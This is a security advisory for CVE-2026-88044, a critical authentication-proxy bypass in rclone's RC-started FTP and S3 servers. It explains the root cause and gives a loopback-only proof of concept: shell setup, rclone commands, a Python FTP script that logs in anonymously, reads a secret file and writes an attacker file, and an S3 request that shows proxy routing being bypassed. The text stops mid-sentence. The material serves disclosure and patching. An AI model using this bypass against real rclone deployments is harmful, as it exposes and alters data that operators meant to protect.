critical

CVE-2026-88044

Go · github.com/rclone/rclone

Summary

rclone: RC per-server auth-proxy bypass

Severity
critical
CVSS
9.1
CWE
CWE-863
Also known as
GHSA-p569-5gjg-9cmj
Published
2026-09-10
Updated
2026-09-10

Advisory details

Summary

serve/start accepts protocol options in a per-server proxyOpt object. The FTP and S3 RC adapters parse that object and pass it to their server constructors, but the constructors decide whether proxy authentication is enabled by checking the process-global proxy.Opt.AuthProxy instead of the supplied proxyOpt.AuthProxy.

When the process-global option is empty—the normal case when only the RC request configures the server—the supplied authentication proxy is silently ignored. FTP falls back to its fixed-backend mode, whose defaults accept username anonymous with any password, exposing read, write, and delete operations without the authentication the operator configured. S3 falls back to the fixed filesystem: with an auth_key, any holder of that key reaches the fixed RC fs instead of the backend selected by the auth proxy.

The S3 no-auth_key mode is explicitly documented as anonymous and is not part of this vulnerability claim. The confirmed S3 impact is proxy-based authorization/backend routing being ignored when S3 authentication is otherwise enabled.

Confirmed affected versions are v1.70.0 through v1.75.0, plus development commit 5629f2668c69149bf3d9d8e2a25bb32a2648606e. The dedicated CLI commands use the process-global option and are not affected by this configuration mismatch.

Affected Assets & Attack Surface

Technical Root Cause Analysis

The serve implementation has two option scopes:

The RC adapters correctly create a local copy, apply the request parameters, and call newServer(..., &proxyOpt). Neither adapter mutates the global. The constructors then branch on the wrong value:

// Current FTP and S3 pattern
if proxy.Opt.AuthProxy != "" {
    // Uses proxyOpt only after the unrelated global check succeeds.
    serverProxy = proxy.New(ctx, proxyOpt, vfsOpt)
} else {
    // Fail-open fixed-backend mode.
}

Consequently, a valid, documented per-server security option is parsed without error but does not select the security mode it represents. This is not merely an unsupported combination: both RC adapters explicitly parse proxyOpt, and the generic serve/start documentation gives proxyOpt.AuthProxy as an example.

For FTP, the fallback is security-critical because its default account accepts an arbitrary password. For S3, the fallback bypasses the proxy's backend decision, but it does not independently bypass a configured AuthKey. If no AuthKey is configured, anonymous S3 access is expected behavior and should not be cited as impact.

Proof of Concept & Evidence

The following loopback-only reproduction uses an auth proxy that rejects every login. If the request-local proxy were active, no FTP login could succeed.

Build the inspected revision, then prepare a fixed filesystem and rejecting proxy:

mkdir -p /tmp/rclone-rc-root
printf 'fixed-backend-secret\n' > /tmp/rclone-rc-root/secret.txt
rm -f /tmp/rclone-auth-proxy-invoked

cat > /tmp/deny-rclone-proxy.sh <<'EOF'
#!/bin/sh
printf 'invoked\n' >> /tmp/rclone-auth-proxy-invoked
cat >/dev/null
exit 1
EOF
chmod 700 /tmp/deny-rclone-proxy.sh

Start RC on loopback in one terminal:

./rclone rcd --rc-addr 127.0.0.1:5572 --rc-no-auth

Start an FTP server with only the request-local auth proxy configured:

./rclone rc --url http://127.0.0.1:5572 \
  serve/start \
  type=ftp \
  fs=/tmp/rclone-rc-root \
  proxyOpt='{"AuthProxy":"/tmp/deny-rclone-proxy.sh"}' \
  opt='{"ListenAddr":"127.0.0.1:2121","PassivePorts":"30000-30010"}'

Connect with the fallback credentials and exercise read and write access:

python3 - <<'PY'
import ftplib
import io

ftp = ftplib.FTP()
ftp.connect("127.0.0.1", 2121, timeout=5)
ftp.login("anonymous", "arbitrary-password")

data = bytearray()
ftp.retrbinary("RETR secret.txt", data.extend)
print(data.decode().strip())

ftp.storbinary("STOR overwritten.txt", io.BytesIO(b"attacker-controlled\n"))
ftp.quit()
PY

test ! -e /tmp/rclone-auth-proxy-invoked
grep -F attacker-controlled /tmp/rclone-rc-root/overwritten.txt

Observed against 5629f2668c69149bf3d9d8e2a25bb32a2648606e:

The equivalent automated network test, TestSecurityValidationRCPerServerAuthProxyFTP, called the actual serve/start RC handler, connected through github.com/jlaffaye/ftp, retrieved the fixed-root secret, uploaded a new object, and verified its bytes on disk. It passed on Windows/amd64 with Go 1.26.2:

=== RUN   TestSecurityValidationRCPerServerAuthProxyFTP
--- PASS: TestSecurityValidationRCPerServerAuthProxyFTP (0.14s)

Authenticated S3 backend-routing reproduction

This validation distinguishes the S3 issue from documented anonymous mode. Prepare two different roots:

mkdir -p /tmp/rclone-s3-fixed/bucket /tmp/rclone-s3-proxy/bucket
printf 'fixed-backend-secret\n' > /tmp/rclone-s3-fixed/bucket/fixed-secret.txt
printf 'proxy-backend-only\n' > /tmp/rclone-s3-proxy/bucket/proxy-only.txt

cat > /tmp/rclone-s3-route-proxy.py <<'PY'
#!/usr/bin/env python3
import json
import sys

json.load(sys.stdin)
print(json.dumps({"type": "local", "_root": "/tmp/rclone-s3-proxy"}))
PY
chmod 700 /tmp/rclone-s3-route-proxy.py

Using the same loopback RC process, start an authenticated S3 server:

./rclone rc --url http://127.0.0.1:5572 serve/start --json '{
  "type": "s3",
  "fs": "/tmp/rclone-s3-fixed",
  "addr": "127.0.0.1:8080",
  "auth_key": ["validation-key,validation-secret"],
  "proxyOpt": {
    "AuthProxy": "python3 /tmp/rclone-s3-route-proxy.py"
  }
}'

Send a correctly signed S3 request:

AWS_ACCESS_KEY_ID=validation-key \
AWS_SECRET_ACCESS_KEY=validation-secret \
AWS_DEFAULT_REGION=us-east-1 \
aws --endpoint-url http://127.0.0.1:8080 \
  s3api get-object \
  --bucket bucket \
  --key fixed-secret.txt \
  /tmp/rclone-s3-result

grep -F fixed-backend-secret /tmp/rclone-s3-result

If the request-local proxy were active, fixed-secret.txt would not exist because the proxy selects /tmp/rclone-s3-proxy. Current code serves it from /tmp/rclone-s3-fixed. Conversely, a request for proxy-only.txt returns NoSuchKey.

The automated validation TestSecurityValidationRCPerServerAuthProxyS3Routing performed this sequence through the actual serve/start handler and a MinIO Signature V4 client. It used a valid `Au

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.